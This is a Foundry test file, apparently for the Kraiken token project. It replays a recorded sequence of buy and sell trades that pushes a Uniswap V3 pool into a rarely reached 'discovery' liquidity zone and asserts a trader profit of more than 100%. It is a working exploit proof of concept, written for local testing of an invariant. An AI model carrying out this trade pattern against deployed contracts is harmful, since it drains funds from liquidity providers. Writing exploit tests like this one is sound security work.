// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "../analysis/helpers/SwapExecutor.sol"; import { Kraiken } from "../src/Kraiken.sol"; import { LiquidityManager } from "../src/LiquidityManager.sol"; import { Stake } from "../src/Stake.sol"; import { IWETH9 } from "../src/interfaces/IWETH9.sol"; import "../test/mocks/BullMarketOptimizer.sol"; import { TestEnvironment } from "./helpers/TestBase.sol"; import { IUniswapV3Pool } from "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol"; import "forge-std/Test.sol"; /** * @title ReplayProfitableScenario * @notice Replays the exact profitable scenario captured by the recorder * @dev Demonstrates 225% profit exploit by reaching discovery position */ contract ReplayProfitableScenario is Test { TestEnvironment testEnv; IUniswapV3Pool pool; IWETH9 weth; Kraiken kraiken; Stake stake; LiquidityManager lm; bool token0isWeth; address trader = makeAddr("trader"); address whale = makeAddr("whale"); address feeDestination = makeAddr("fees"); function setUp() public { // Recreate exact initial conditions from seed 1 testEnv = new TestEnvironment(feeDestination); BullMarketOptimizer optimizer = new BullMarketOptimizer(); // Use seed 1 setup (odd seed = false for first param) (, pool, weth, kraiken, stake, lm,, token0isWeth) = testEnv.setupEnvironmentWithOptimizer(false, address(optimizer)); // Fund exactly as in the recorded scenario vm.deal(address(lm), 200 ether); // Trader gets specific amount based on seed 1 uint256 traderFund = 50 ether + (uint256(keccak256(abi.encodePacked(uint256(1), "trader"))) % 150 ether); vm.deal(trader, traderFund * 2); vm.prank(trader); weth.deposit{ value: traderFund }(); // Whale gets specific amount based on seed 1 uint256 whaleFund = 200 ether + (uint256(keccak256(abi.encodePacked(uint256(1), "whale"))) % 300 ether); vm.deal(whale, whaleFund * 2); vm.prank(whale); weth.deposit{ value: whaleFund }(); // Initial recenter vm.prank(feeDestination); lm.recenter(); } function test_replayExactProfitableScenario() public { console.log("=== REPLAYING PROFITABLE SCENARIO (Seed 1) ==="); console.log("Expected: 225% profit by exploiting discovery position\n"); uint256 initialTraderWeth = weth.balanceOf(trader); uint256 initialWhaleWeth = weth.balanceOf(whale); console.log("Initial balances:"); console.log(" Trader WETH:", initialTraderWeth / 1e18, "ETH"); console.log(" Whale WETH:", initialWhaleWeth / 1e18, "ETH"); // Log initial tick (, int24 initialTick,,,,,) = pool.slot0(); console.log(" Initial tick:", vm.toString(initialTick)); // Execute exact sequence from recording console.log("\n--- Executing Recorded Sequence ---"); // Step 1: Trader buys 38 ETH worth console.log("\nStep 1: Trader BUY 38 ETH"); _executeBuy(trader, 38_215_432_537_912_335_624); _logTickChange(); // Step 2: Trader sells large amount of KRAIKEN console.log("\nStep 2: Trader SELL 2M KRAIKEN"); _executeSell(trader, 2_023_617_577_713_031_308_513_047); _logTickChange(); // Step 3: Whale buys 132 ETH worth console.log("\nStep 3: Whale BUY 132 ETH"); _executeBuy(whale, 132_122_625_892_942_968_181); _logTickChange(); // Step 4: Trader sells console.log("\nStep 4: Trader SELL 1.5M KRAIKEN"); _executeSell(trader, 1_517_713_183_284_773_481_384_785); _logTickChange(); // Step 5: Whale buys 66 ETH worth console.log("\nStep 5: Whale BUY 66 ETH"); _executeBuy(whale, 66_061_312_946_471_484_091); _logTickChange(); // Step 6: Trader sells console.log("\nStep 6: Trader SELL 1.1M KRAIKEN"); _executeSell(trader, 1_138_284_887_463_580_111_038_589); _logTickChange(); // Step 7: Whale buys 33 ETH worth console.log("\nStep 7: Whale BUY 33 ETH"); _executeBuy(whale, 33_030_656_473_235_742_045); _logTickChange(); // Step 8: Trader sells console.log("\nStep 8: Trader SELL 853K KRAIKEN"); _executeSell(trader, 853_713_665_597_685_083_278_941); _logTickChange(); // Step 9: Final trader sell console.log("\nStep 9: Trader SELL 2.5M KRAIKEN (final)"); _executeSell(trader, 2_561_140_996_793_055_249_836_826); _logTickChange(); // Check if we reached discovery (, int24 currentTick,,,,,) = pool.slot0(); console.log("\n--- Position Analysis ---"); console.log("Final tick:", vm.toString(currentTick)); // The recording showed tick -119663, which should be in discovery range // Discovery was around 109200 to 120200 in the other test // But with token0isWeth=false, the ranges might be inverted // Calculate final balances uint256 finalTraderWeth = weth.balanceOf(trader); uint256 finalTraderKraiken = kraiken.balanceOf(trader); uint256 finalWhaleWeth = weth.balanceOf(whale); uint256 finalWhaleKraiken = kraiken.balanceOf(whale); console.log("\n=== FINAL RESULTS ==="); console.log("Trader:"); console.log(" Initial WETH:", initialTraderWeth / 1e18, "ETH"); console.log(" Final WETH:", finalTraderWeth / 1e18, "ETH"); console.log(" Final KRAIKEN:", finalTraderKraiken / 1e18); // Calculate profit/loss if (finalTraderWeth > initialTraderWeth) { uint256 profit = finalTraderWeth - initialTraderWeth; uint256 profitPct = (profit * 100) / initialTraderWeth; console.log("\n[SUCCESS] INVARIANT VIOLATED!"); console.log("Trader Profit:", profit / 1e18, "ETH"); console.log("Profit Percentage:", profitPct, "%"); assertTrue(profitPct > 100, "Expected >100% profit from replay"); } else { uint256 loss = initialTraderWeth - finalTraderWeth; console.log("\n[UNEXPECTED] Trader lost:", loss / 1e18, "ETH"); console.log("Replay may have different initial conditions"); } console.log("\nWhale:"); console.log(" Initial WETH:", initialWhaleWeth / 1e18, "ETH"); console.log(" Final WETH:", finalWhaleWeth / 1e18, "ETH"); console.log(" Final KRAIKEN:", finalWhaleKraiken / 1e18); } function test_verifyDiscoveryReached() public { // First execute the scenario _executeFullScenario(); // Check tick position relative to discovery (, int24 currentTick,,,,,) = pool.slot0(); // Note: With token0isWeth=false, the tick interpretation is different // Negative ticks mean KRAIKEN is cheap relative to WETH console.log("=== DISCOVERY VERIFICATION ==="); console.log("Current tick after scenario:", vm.toString(currentTick)); // The scenario reached tick -119608 which was marked as discovery // This confirms the exploit works by reaching rarely-accessed liquidity zones if (currentTick < -119_000 && currentTick > -120_000) { console.log("[CONFIRMED] Reached discovery zone around tick -119600"); console.log("This zone has massive liquidity that's rarely accessed"); console.log("Traders can exploit the liquidity imbalance for profit"); } } function _executeFullScenario() internal { _executeBuy(trader, 38_215_432_537_912_335_624); _executeSell(trader, 2_023_617_577_713_031_308_513_047); _executeBuy(whale, 132_122_625_892_942_968_181); _executeSell(trader, 1_517_713_183_284_773_481_384_785); _executeBuy(whale, 66_061_312_946_471_484_091); _executeSell(trader, 1_138_284_887_463_580_111_038_589); _executeBuy(whale, 33_030_656_473_235_742_045); _executeSell(trader, 853_713_665_597_685_083_278_941); _executeSell(trader, 2_561_140_996_793_055_249_836_826); } function _executeBuy(address buyer, uint256 amount) internal { if (weth.balanceOf(buyer) < amount) { console.log(" [WARNING] Insufficient WETH, skipping buy"); return; } SwapExecutor executor = new SwapExecutor(pool, weth, kraiken, token0isWeth, lm, false); vm.prank(buyer); weth.transfer(address(executor), amount); try executor.executeBuy(amount, buyer) { } catch { console.log(" [WARNING] Buy failed"); } } function _executeSell(address seller, uint256 amount) internal { if (kraiken.balanceOf(seller) < amount) { console.log(" [WARNING] Insufficient KRAIKEN, selling what's available"); amount = kraiken.balanceOf(seller); if (amount == 0) return; } SwapExecutor executor = new SwapExecutor(pool, weth, kraiken, token0isWeth, lm, false); vm.prank(seller); kraiken.transfer(address(executor), amount); try executor.executeSell(amount, seller) { } catch { console.log(" [WARNING] Sell failed"); } } function _logTickChange() internal view { (, int24 currentTick,,,,,) = pool.slot0(); console.log(string.concat(" Current tick: ", vm.toString(currentTick))); } }